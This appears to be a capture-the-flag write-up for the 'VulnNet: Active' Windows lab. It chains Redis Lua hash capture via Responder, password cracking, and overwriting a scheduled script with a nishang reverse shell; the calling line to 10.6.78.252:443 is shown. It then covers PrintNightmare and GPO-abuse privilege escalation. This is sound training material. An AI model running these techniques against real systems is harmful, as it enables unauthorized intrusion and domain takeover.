VulnNet: Active is a Windows machine running Active Directory with an instance of Redis that doesn't require authentication. This can be leveraged to run a command that attempts to authenticate to a Responder SMB server, resulting in the interception of an NTLMv2 hash of a user. After cracking the hash, the credentials can be used to authenticate to an SMB share that contains a PowerShell script which can be overwritten with a reverse shell script. Once on the system, enumeration can reveal two different paths to privilege escalation: one is by running a PrintNightmare exploit, and the other is by exploiting a Group Policy Object misconfiguration; both methods result in a system shell.
nmap scan:
Open ports:
- 53 (DNS)
- 135 (MSRPC)
- 139, 445 (SMB)
- 464 (kpasswd)
- 6379 (Redis)
The Redis port seemed interesting, so I used redis-cli to connect to it. The info command outputted some information about the server without needing to authenticate:
I listed configuration data:
This showed that the instance was running in the context of the enterprise-security user:
Redis supports scripting with Lua. In this case, it could be leveraged to attempt an authentication to an SMB server and reveal a password hash.
I started the SMB server with responder:
The Redis eval command is used to invoke the execution of Lua scripts, so I used it to run dofile which tries to load and execute a file from the SMB server:
In order to retrieve the file from the server, an authentication was attempted, allowing for Responder to capture the NTLMv2 hash of enterprise-security:
I saved the hash in a file called hash.txt and used JtR to crack it:
The credentials granted read access to Enterprise-Share:
The share contained a PowerShell script, so I downloaded it:
PurgeIrrelevantData_1826.ps1 looked to be a cleanup script for the C:\Users\Public\Documents directory:
It's common for cleanup scripts to run as scheduled tasks, therefore, I figured that replacing it with a reverse shell script could result in a shell on the system.
So I used a nishang reverse shell and wrote it into a file called PurgeIrrelevantData_1826.ps1 and added the Invoke-PowerShellTcp -Reverse -IPAddress 10.6.78.252 -Port 443 function call:
Started a netcat listener:
Within smbclient, I overwrote the script with the reverse shell:
After about a minute, a connection was made as enterprise-security:
While looking for paths to escalate privileges, I listed the services:
Print Spooler was running which meant that the system was potentially vulnerable to PrintNightmare:
I cloned this PoC for PrintNightmare (CVE-2021-1675) which also required this version of Impacket as stated in the GitHub README. Then, I copied smbserver.py into the same directory as the exploit:
I used msfvenom to generate the DLL payload (shell.dll):
Started a netcat listener:
Using smbserver.py, I started the SMB server which hosted a share named smb that contained the shell.dll payload:
Then, I ran the exploit which connected to the target system and attempted to execute the DLL payload hosted on the SMB server:
SMB server showing incoming connections from the target machine:
After the exploit completed, nc caught a shell as nt authority\system:
Another method of escalating privileges is by exploiting GPO permissions. Back on the initial shell as the enterprise-security user, running net user enterprise-security showed that the only group this user had membership in was Domain Users:
The next step was to map the domain with BloodHound in order to get a better idea of the AD environment. But first, I needed the AD data to import into BloodHound, so I started a python server which contained SharpHound:
I used certutil.exe to download SharpHound.exe onto the target machine:
After running SharpHound.exe, a ZIP with the domain data was provided:
I copied the BloodHound ZIP into the Enterprise-Share SMB share so I could access it locally:
Downloaded the ZIP using smbclient:
After importing the data into BloodHound, viewing Shortest Paths to Domain Admins showed that enterprise-security had GenericWrite on the SECURITY-POL-VN GPO which was linked to the VULNNET.LOCAL domain:
This meant that a tool like SharpGPOAbuse could be used to add enterprise-security to the Administrators group. So I started a local python server that contained SharpGPOAbuse.exe:
Downloaded it onto the target with certutil.exe:
With SharpGPOAbuse.exe, I added enterprise-security as a local admin to the AD objects linked to the SECURITY-POL-VN GPO. In this case, the domain VULNNET.LOCAL:
The default refresh cycle for Group Policy is about every 90 minutes, but an update can be forced with gpupdate /force:
Checking group membership again showed that enterprise-security was now in the Administrators group:
Listing the shares confirmed administrative access:
Using psexec.py, I obtained a shell as nt authority\system:
